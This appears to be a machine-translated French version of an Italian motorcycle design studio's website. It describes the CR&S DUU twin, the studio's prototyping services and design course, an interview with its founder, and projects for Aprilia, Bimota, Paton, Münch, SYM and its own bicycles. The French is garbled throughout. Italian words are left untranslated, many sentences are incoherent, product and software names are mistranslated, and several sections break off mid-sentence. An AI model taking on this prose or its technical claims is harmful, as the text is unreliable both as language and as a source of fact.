Big Twin a Milano! Après le double mono: d'un petit artisan a fait cette exubérante style unique de deux litres de Richard Capacchione ... Fada à MILAN, cont il coeur e cont i man'». Nous traduisons pour les non-milanais: « Made in Milan, avec le cœur et les mains ", Et la phrase écrite sur les vélos construits par CR&S Settimo Milanese. À ce jour, le seul modèle dans le catalogue a été le Vun, La seule mince qui a maintenant une soeur, pas du tout rationalisée, Il a appelé DUU. En dialecte Milanese Vun signifie « un » en tant que cylindre, un lieu et « unique ». conduit, comme vous le verrez, veut plutôt dire « deux » comme deux cylindres, deux sièges et ... seulement, elle. Les clients du CR&S, en fait, Ils peuvent commander votre vélo en choisissant le réglage, les composants de châssis, la préparation du moteur et bien sûr les colorations. Voilà pourquoi le prix varie beaucoup, à partir de la base de 20.000 euro. La philosophie de conception derrière les modèles CR&S est simple à énoncer, moins pour atteindre: le vélo doit être essentielle, l'ensemble du moteur et du châssis en vue, mais il doit aussi être un style, plutôt deux: celle du fabricant et le client que, comme mentionné, Il participe activement à la création de son propre mouvement. SI ET « LA duu? Gia ', Qu'est-ce que Duu? Il est un puissant bicylindre qui échappe aux définitions normales: coutume nue, roadster, combattant de rue? Difficile d'attribuer un genre spécifique. Mieux, simplement, décrire les caractéristiques techniques, vraiment unique,. Le châssis est construit à partir CR&S et est composé d'un acier allié géant tubulaire supérieur, rappelle le schéma utilisé par le spécialiste suisse Fritz Il; ceux qui ont un peu de ressorts derrière rappel , entre autres, Il porte le merveilleux Vincent 1967. Le grand tube principal de cadre Duu remplit également la fonction du réservoir de carburant, Un exemple de la stratégie du projet CR&S, ce qui tend à l'intégration maximale et une simplification de chaque composant. Dans la partie arrière de la structure est fermée par splendide plaques en alliage léger, obtenu à partir d'un dispositif de coupe « complète » forgé. Le treillis du bras oscillant arrière des tubes en acier est couplé au côté de l'amortisseur. les roues, autre CR exclusive&S, Ils sont splendides et en particulier l'arrière, cantilever montée avec un seul écrou central et disponible dans différentes conceptions des races. Les superstructures en fibre de verre sont rares et essentiels; solution vraiment inhabituel pour le phare avant ... non c'è, remplacé par deux ensembles optiques latéraux logés dans les « branchies de requin » sur les côtés de la fourche, qui rappelle les traits stylistiques de Vun. Les voitures peuvent être DUU, comme celui que nous avons testé, mais il est prévu la construction à deux et que Voyage, avec des sacs et des accessoires spéciaux. MOM

IMPRESSION 3D, PROTOTYPE, CNC

Prototypage est un élément clé de notre travail, nous l'utilisons pour évaluer la qualité des pièces conçues avant de procéder à la construction proprement dite, l'utilisation pour les petites séries de pièces où il ne se justifie pas le coût d'un moule, nous l'utilisons pour faire une évaluation visuelle initiale, fonctionnel, dimensions. Pour certains prototypes, nous sommes organisés en interne afin de faire rapidement la première phase de test, d'autres caractéristiques fourniront des fournisseurs spécialisés avec lesquels nous avons une ligne directe et grâce à laquelle nous développons beaucoup de connaissances dans ce secteur une croissance encore forte. Pour plus d'informations sur ces services, visitez le site Web: Prototypage de moulage sous vide CNC Prototypes parties de découpe laser de la tôle d'aluminium rapide Moulds Pressofusione SLA / SLS extrusion parties silicone / caoutchouc finitions diverses

FORMATION

Parmi nos intérêts là-bas la formation, Cela nous permet d'avoir des échanges continus d'opinions et points de vue et de travailler avec d'autres passionnés de moto et de design comme nous. Nous avons donc organisé un cours qui permet à l'étudiant ou le collecteur d'acquérir une base de toutes les compétences nécessaires et suffisantes dans le domaine de la conception de la moto. L'individu peut alors se consacrer à ce monde pour les besoins professionnels de simple passion "fai da te". Le cours est divisé en cinq modules distincts qui visent à offrir une formation complète en tant que concepteur de la conception de moto, chaque module peut être suivi individuellement.

Italian design

Donato Cannatello est donné, l'esprit de cette société, toujours dans le monde du design, Il a abordé diverses expériences professionnelles qui sont tous fusionnés dans ses capacités actuelles, à la fois le développement de projets de premier plan des équipes, mais aussi et surtout des intérêts des entreprises de gestion. Du point de vue du produit, sa formation technique et son pluridisciplinaire lui permettent une approche plus originale et en même temps facile à projeter. En tant que chef de l'équipe de projet et directeur repose sur ses vingt années d'expérience professionnelle en réussissant à interpréter au mieux les exigences des moyens clients, employés et fournisseurs. Il a une grande propension à utiliser les outils en général. les premières numériques qui gère avec une maîtrise allant de solides et des surfaces outil de modélisation avancée (ŒUVRES SOLIDES), affichage virtuel (VITRINE), édition de fichiers bitmap et vecteur, ainsi que la gestion et la création de sites Web (CMS, Dreamweaver, FTP) jusqu'à bases de la gestion des systèmes d'exploitation, serveur, FTP e LAN. Ne dédaigne pas, cependant, les instruments plus "béton", et il a une excellente connaissance et de la passion dans l'utilisation des outils d'atelier, par Allen sur un tour, passant doucement pour bur, TIG et plusieurs outils de prototypage manuel (Argile, Laminage de fibre). Il a également beaucoup d'expérience avec des prototypes à partir de fichiers numériques tels que SLA SLS mais aussi CNC, ainsi que des moules pour injection ou lamination. Parmi les motos dont la production a récemment en partenariat il y a quelques magnifiques CR&S DUU e la Matchless modèle X Realoaded. Nos réflexions sur ce que je crois être la conception italienne ci-dessous une interview sur le design italien de Giuseppe Palma pour le magazine "Art chair" la 24 juin 2010 Donato PDG Cannatello DONNÉ Motodesign. Donato, nous aimerions commencer cette interview dans un résolument provocateur. Au fil des années, nous avons pris l'habitude d'admirer les fabuleuses versions de nombreuses voitures construites: voir les productions NCR, mais aussi la Moto Guzzi SGM-01 ou versions spéciales du MV conçus par Tamburini. Ces vélos sont entrés dans la mise en place collective lui-même le long des lignes de Ferrari (à utiliser une comparaison de voiture partiellement deviné) viens "Chimère", beaux objets comme inatteignables au point de se éloigner de la réalité tragique de tous les jours fait moto "usabili" tous les jours et "abordable" dans le prix. Comment savez-vous que vous avez créé, conjointement avec CR & S en fait le premier "La série spéciale" à un prix, après tout, raisonnable si l'on pense à combien il en coûte une BMW GS ou une Ducati Multistrada? L'idée de créer un "La série spéciale" Il a été fortement souhaitée pour certains versets, pour d'autres, il a été un défi inconscient naturel. E « a été souhaité parce que dans ma nature, bien que l'art d'exclusivité amant, Je suis un fan de ' "Design industriel", Il comprend exactement comme à l'échelle de production, quel que soit leur

CR&S VuneMes

Une coupe moins classique, plus perturbateur pour la petite maison CR&S. Refonte superstructures, avec une plus grande tendance au minimalisme. Des formes plus un retard de croissance, sur mesure pour le client, tant pour les mesures anthropomorphiques pour le goût stylistique. Par rapport à l'original les VuneMES était mécaniquement iperrifinita, Il était déjà parfait , Il a ensuite adopté le haut de gamme pour les composants du vélo, nous avons remplacé, mais la substance mécanique, il est resté inchangé. Une grande différence dans la mesure où la mécanique ont été faites à partir des larges guidons, droit et avec une attaque surdimensionnée. Cela a conduit à une position de conduite plus proportionnée, avec des épaules et des coudes de travail plus naturellement. Il mérite une mention spéciale, la forme et le corps. Entièrement en prototypage fonctionnel, la vague de nouveauté impliquée: natte, selle, carénage et garde-boue avant. De plus, tous les détails de la moto ont été pris en charge maniacally, par des pompes de frein avec réservoir intégré Rizoma, jusqu'à parapignone et d'autres détails techniques.

Compte tenu Kidster

Kidster est une moto de jouet créé pour les adultes. Ce projet pour le plaisir, mais il s'apporte des solutions qui pourrait un jour être approfondie ou être utilisés comme point de départ. D'une part les proportions et les volumes sont très dynamiques et idéal pour une moto "adultes", En fait, l'étape suivante est la re-dosage de la moto sur la taille adulte. De plus, le vélo et exaspèrent cite la selle classique "métayer" les frères Castiglioni, réutilisation de la solution des trous pour donner de l'air au moteur et "point de contact" moto-pilote.

Velocitalia Honda Sportlite

Le Sportlite commence à partir d'une base Cinelli "chemin", le cadre et « a été mis à nu par la peinture (opération compliquée, félicitations à Cinelli pour sa peinture) puis chromé. 5 marches très longues et des roues à rayons en font un objet parfait de la ville . E « pour un prototype de recherche est né en 1990, les roues sont utilisées dans Grimeca d'aluminium, un produit aussi beau que compliqué à utiliser, leur poids et leur délicatesse faire du vélo un objet difficile, mais très satisfaisant d'utiliser.

Velocitalia Amix

Amix est un vélo de formes classiques et traditionnelles, mais de la technologie très actuelle. Conçu pour une utilisation quotidienne, penser d'abord tout le confort et la performance de pédalage, adopte ensuite un entraînement d'arbre, dont il a l'énorme avantage de ne pas nécessiter la garde d'entretien et de la chaîne, afin de ne pas endommager le sol ou le pantalon de quelque manière que. Le cadre est également réalisé en technologie composite avec des joints et des tubes, tout comme le vélo une fois, permettant ainsi la modularité maximale et en même temps une fabricabilité "sur mesure", avec des dimensions géométriques puis adaptées au client. Le vélo se caractérise par une extrême attention aux détails et un haut de conception propre. Ses formes élégantes et son design raffiné, cependant, ne dépasse pas de la facilité d'utilisation , Amix puis ailes en fibre de carbone, très protecteur qui vous permettent de voyager dans le confort même avec la route mouillée. Changement dans le moyeu 7/8 traitement, frein avant hydraulique et pédalage disque à l'arrière arrière complètent le cadre technique, à la satisfaction des deux le sportif cycliste élégant.

Sym Angelica 125

Angelica est un scooter conçu pour le marché indien et en général en Asie du Sud-Est (de toute évidence pour un marché à prédominance féminine). La séance d'information portait sur un scooter sur une base mécanique existante, très simple et classique. Avec ce mécanisme était nécessaire de concevoir un corps pour les femmes d'âge moyen , avec les critères fonctionnels typiques habituels des marchés est-asiatiques (grand confort, capacité de charge et à faible coût). Dans cet esprit, nous avons tout misé sur les belles lignes, doux, avec des surfaces simples et élégantes, l'introduction de la caractéristique de "signe" gravé dans le corps dans le procédé de moulage de manière à annuler le coût des plaques et des graphiques. Angelica fait partie d'une opération menée en collaboration avec SYM et NOVA design.

Paton PG 500 RR

"Seul contre tous, malgré qui, avec l'excuse de la passion pour les motos profite de son compte bancaire. La ténacité et l'habileté de ceux qui, malgré tout, Il peut encore mettre sur la bonne voie une 500 l'artisanat." Vanni Spinoni Le Paton est cette, passion et ténacité; le défi de créer quelque chose extrêmement concurrentiel donnant libre cours à toutes ses ressources, à la fois mécanique et des hommes et des moyens, et une extrême attention aux détails et l'œil vigilant de ceux qui font les choses tranquillement et avec dévouement. Le Paton veut maintenant revenir à la scène des pistes PG500RR, mais pas dans le scénario des compétitions, mais dans celui des amateurs qui veulent un moyen vraiment extrême pour avoir du plaisir sur la bonne voie. Ongle 500 deux fois à quatre cylindres avec plus de 170 chevaux et un tempérament enragé est quelque chose de très loin de l'imagination d'aujourd'hui, quelque chose loin derrière et trop loin, quelque chose qui n'existe même pas dans les rêves, même dans les plus de 70 mille euros ... Par conséquent, l'apparition d'un article similaire est quelque chose d'extrêmement délicat, de tous les points de vue. actuellement (le vélo est encore au stade précoce du développement) il y a une tendance vers une solution très traditionnelle, qui conserve la plupart des formes originales, mais dénotant certainement une attention aux détails dignes d'un article similaire. Voici la "détails" prendre une qualité différente par rapport à celui habituellement utilisé dans le domaine de la conception de la moto. Les détails dans ce cas est quelque chose qui ne porte pas atteinte dans le domaine de la performance et de la mémoire historique, mère "solo" ajouter dans le contexte de l'Exaltation "graphique" content. Ici, le PG500RR Paton comme une coque formes typiques de la période commençant 2000, mais avec des graphismes qui évoquent la tradition historique classique Paton, les deux cylindres quatre temps redoutée des fin des années soixante.

Münch TTX

Le Munch TTX a été créé derrière la demande de concevoir un vélo électrique pour les courses qui pourraient entrer en concurrence dans le championnat du monde nouveau-né de motos électriques. Il doit porter la marque de moto historique ce que Munch connu pour ses modèles particulièrement perturbateurs. Mon interprétation était à la recherche une fois évidemment une excellente aérodynamique, chose qui a influencé les formes couvrant toute la mécanique avec une coque intégrale, coque mais j'ai essayé de dissimuler autant que possible la faire participer aux mécanismes sous-jacents.

Tracteur Ducati Monster

Tracteur Ducati Monster est un concept conçu pour la compétition "Concevez votre rêve" Ducati. Le thème du cours était de développer un produit avec une forte capacité émotionnelle, qui évoquerait des idées et des sentiments au lieu de performaces et confort. Le tracteur Ducati Monster est ainsi devenue la transposition de la moto d'un tracteur de 50 ans, en particulier la muse était la FIAT 25R '54, un tracteur polyvalent et petit répandu au moment. Le mécanisme est le classique pour Ducati "L", avec un moteur refroidi à l'eau et le radiateur dans le nez, plus de détails sont plutôt le châssis et les suspensions en général. Sans trop bien sur la faisabilité, nous avons supposé que la mécanique de suspension évoquaient, tracteur, avec l'élément distinctif caractéristique de la couche de couleur de toutes les pièces mécaniques. Le tracteur Monster est maintenant un projet il y a dix ans (2003) mais il est toujours contemporain et futuriste. Aujourd'hui, nous créons une version mise à jour, Suivez-nous sur ces pages pour les nouvelles ...

Bimota DB666

Pour ce projet, nous avons mis au point un "concept avancé" sur la base d'un certain nombre de demandes spécifiques reçues du client. la "bref" Il concerne le développement d'une Ducati motorisé 8 les vannes et les châssis Bimota DB4, ceci pour créer un objet équipé avec les meilleurs composants disponibles aujourd'hui. Une moto sans la mesure des prix, mais seulement la performance et de l'efficacité sur la bonne voie. De cela, il a produit un plan détaillé des caractéristiques esthétiques extrêmes, ainsi que d'un cadre d'excellence mécanique comme son nom revendications Bimota.

Aprilia Kerkennah

Kerkennah est un vélo conçu avec la mémoire des vélos de course, mais avec une plus grande attention au grand public et civil. La mémoire de course est rappelée dans les dimensions minimales, en particulier dans la zone frontale libre du radiateur et du châssis raffiné, ainsi que de matières plastiques par des formes particulièrement techniques et captivante. L'aspect civil est souligné à la place par un moteur extrêmement fiable, et des roues en alliage qui nécessitent moins d'entretien par rapport à ceux qui sont traditionnellement utilisés dans les rayons de course. Aprilia Kerkennah est propulsé par un moteur monocylindre 4 vannes avec distribution unique arbre à cames en tête équipé d'une grande modernité du design, tout au long de la roue de vélo, qui est né, autour d'elle et à une solution très innovante ciclistiche. Le sous-châssis arrière et le réservoir / groupe de selle tournent autour d'une charnière située à l'arrière de la direction, dans ce "Arto"?? Ils sont logés également la batterie, la boîte à air et l'ensemble électronique. La boîte à air est greffé sur une bride en matière plastique monté sur le corps d'étranglement en aval avec le système d'étanchéité en caoutchouc au moment de la fermeture de ' "Arto ??". Le châssis est basé sur un système bien connu dans Aprilia, ou un cadre périmétrique en double coque die et le bras oscillant arrière, également il présente une série de système de direction sans manchon en acier ( les plaques de fourche sont monobloc) . Bien que le régime est classique, le développement du châssis est complètement nouveau, car il reflète des solutions techniques parallèles qui ont influencé le projet doit être, principalement la présence du radiateur derrière le pivot du bras oscillant ainsi que le système de direction sans steerer. Ces deux éléments sont intégrés dans la conception du cadre et le bras oscillant conduisant à un faible développement global et mince dans la partie supérieure, De cette façon, les masses se sont déplacés vers la zone centrale de l'axe » de roulis de la moto pour smagrendo la région d'entrejambe de quitter la maniabilité et la liberté de mouvement aux jambes. Le système d'échappement est composé d'un système 2 dans 1 acier inoxydable pour les collecteurs 2 bouclier thermique in1 et, tandis que le silencieux est réalisé en tôle d'acier. Le faisceau de phare à l'aide d'une parabole double foyer, et une lampe Reflex en position de manière à avoir une section avant réduite du verre de protection et une excellente accessibilité à la lampe. L'instrumentation est logé dans un appendice du masque avant de manière à être obtenue à partir d'une seule coque en matière plastique, le même est exclusivement numérique avec un écran LED par définition très faible mais très visible éliminant ainsi les panneaux de composants mécaniques et LCD. Kerkennah est une moto très technologique, mais pas des solutions et les coûts excessifs ??, dédié à un utilisateur passionné mais souhaitez utiliser le vélo tous les jours pour

Aprilia RÂMSEX

Ouvrez-RÂMSEX est un concept avancé développé par ordre de l'Aprilia, les mécanismes de base est celle de l'Aprilia Dorsoduro, puis le moteur bicylindre en V de 90 degrés et la structure de châssis tubulaires mixtes / plaques d'aluminium dans pressofusione.Aprilia RÂMSEX 750. Notre proposition voit le plus « superstructures minces, la roue avant 19" , faibles débits et le réservoir sous la selle, tout cela pour un plus « route de produit, plus « minimum, plus orientée « à un grand supermotard cube une tendance endurona.

moto Honda John Deere

Honda John Deere est né avec l'intention précise de "courir"?? la vitesse folle 60 km / h sur les pistes en champs verts sans fin, collines de tournesols province Fiorentina, son tassellata roue arrière de la barge permet d'avoir toujours la traction nécessaire sur les pentes raides et des charrues champs, strictement deux places car sinon ce que l'enfer que nous allons faire dans les champs alors si je suis seul, la garde de puisard a volé une Afrique Twin reconnaissant pour la nouvelle vie qui a été accordé après un certain "falco"?? Naples avait réduit à peu + un rôti après quelques années de poursuites et de fusillades dans les rues étroites de Naples "bien"??, le moteur a gagné un peu de vitalité à ouvrir toutes les voies aériennes parce que nous savons que les agriculteurs sont en colère et ont tendance à vous tirer dessus si vous êtes pris dans leurs champs avec un scooter tessellated. Le châssis John Deere a été entièrement reconstruit à l'arrière, Il travaille de longues nuits de travail dans l'atelier de "maestro"?? Tony Pizzo Casoria, la selle est un monstre, mais a été dûment rénové et ré-habillé par un autre artisan qualifié Casoria. Le garde-boue avant d'origine inconnue a pris dans l'ordre: agrafé canon scié et martelée en abondance par moi-même, photos artiste flex Giovanni Scafuro aka Giannigià , autre bonne martelée par un groupe d'autres personnes et, enfin, un casino de peinture bonne Raffaele Foscarino Mugnano, donc évident qu'à la fin de sa forme n'est pas de + doux et fluide. La construction de la moto a coûté 4 mois , les deux premiers jours de la démonter pièce par pièce, autres 3 mois pour changer, repeindre et se procurer les pièces individuelles et, enfin, un mois très dur dernier tout réassembler dans la maison ! Dans le vrai sens du mot, car cette moto vous voyez qui n'a pas été né dans l'atelier, mais même dans le garage, ni dans la cave, il est né juste dans ma chambre, à côté de mon canapé, mon lit et, heureusement, ma chaîne hi-fi, au premier étage d'un immeuble à Naples, mais pas d'enfants à problèmes, même quand il est venu allumer, le bâtiment tremblait comme quand j'organise une fête afin que personne ne prêtait beaucoup d'attention + de temps, le problème est venu le temps de le prendre dans les escaliers, mais il suffisait d'organiser une fête de lancement et voici, la main du travail pas cher est servi! John Deere est enfin route pour la course! Et en fait, il a couru.. un autre pour s'il a couru ... Après moins d'un mois après la fin des travaux a été porté à Padoue pour l'époque BIKE

scooter HT

Le scooter est toujours le scooter! toujours diabolisé, blâmé et méprisés! Pour nous, ce n'est pas! Le scooter a ses charmes, termes de confort, performance (Oui!) et la facilité d'utilisation. Au fond, il doit être interprété comme un moyen de travail, comme une brouette ou un tracteur, Il peut avoir son charme, sa personnalité. Nous avons émis l'hypothèse d'un certain nombre de propositions pour un fabricant asiatique, la cible est un public jeune, les dépenses moyennes, très à la mode (le style oriental) puis ... pourquoi ne pas lui donner les moyens qu'elle mérite ??!

Velocitalia Carrobasso

Carrobasso est un vélo créé pour notre marque "Velocitalia", un vélo né de l'exigence précise de fournir un moyen rapide, puissant et fascinant. Il est un prototype qui a parmi ses caractéristiques l'élégance extrême du style, mais les performances typiques d'un vélo de ville moderne . Et la moto pour le cycliste passionné qui a déjà dans le garage par le très spécial et 8 kg suspension complète VTT, mais il veut utiliser un vélo pour se déplacer en ville ou dans le pays qui est pas trop exigeant, mais en même temps à la fois élégant et performances garantissant similaire à celle de sa bien-aimée stationnée dans le garage. A signifie que vous pouvez quitter la rue, en acier robuste et composants de fiabilité éprouvée . Principales caractéristiques: 1] haut tecnologicità 2] performances alte 3] Prix ​​d'achat bas 4] matériaux durables 5) Facile disponibilité des pièces de rechange / accessoires

P / E Ermanno Scervino

notre "Printemps / Été" est un vélo concept de la ville destinée à un public féminin de haut de gamme. E « a été créé pour une célèbre marque de mode et reflète les caractéristiques de style, mais contrairement aux autres opérations de marquage de vélo, Il n'est pas une nouvelle mouture d'un produit existant "Unique" finitions de luxe, mais il est un produit spécialement conçu avec des critères de développement visant à la réalisation d'un objet par les caractéristiques fortes de confort et de facilité d'utilisation. Ainsi, le "Printemps / Été" Il est un vélo simple et léger, mais la pratique, car il a un moyeu d'engrenage intégré qui peut également être utilisé dans les étapes de bicyclettes, puis avec un changé extrêmement simple et pratique. Les roues sont plutôt orientés à la caractérisation formelle de la moto puis ils Circles 144 chromates rayons radiaux, une forte note d'élégance qui caractérise toute la bicyclette. Le reste est volontairement sous-estimés pour ne pas créer un objet trop flashy, mais élégant dans son intérieur, dans son essence féminine.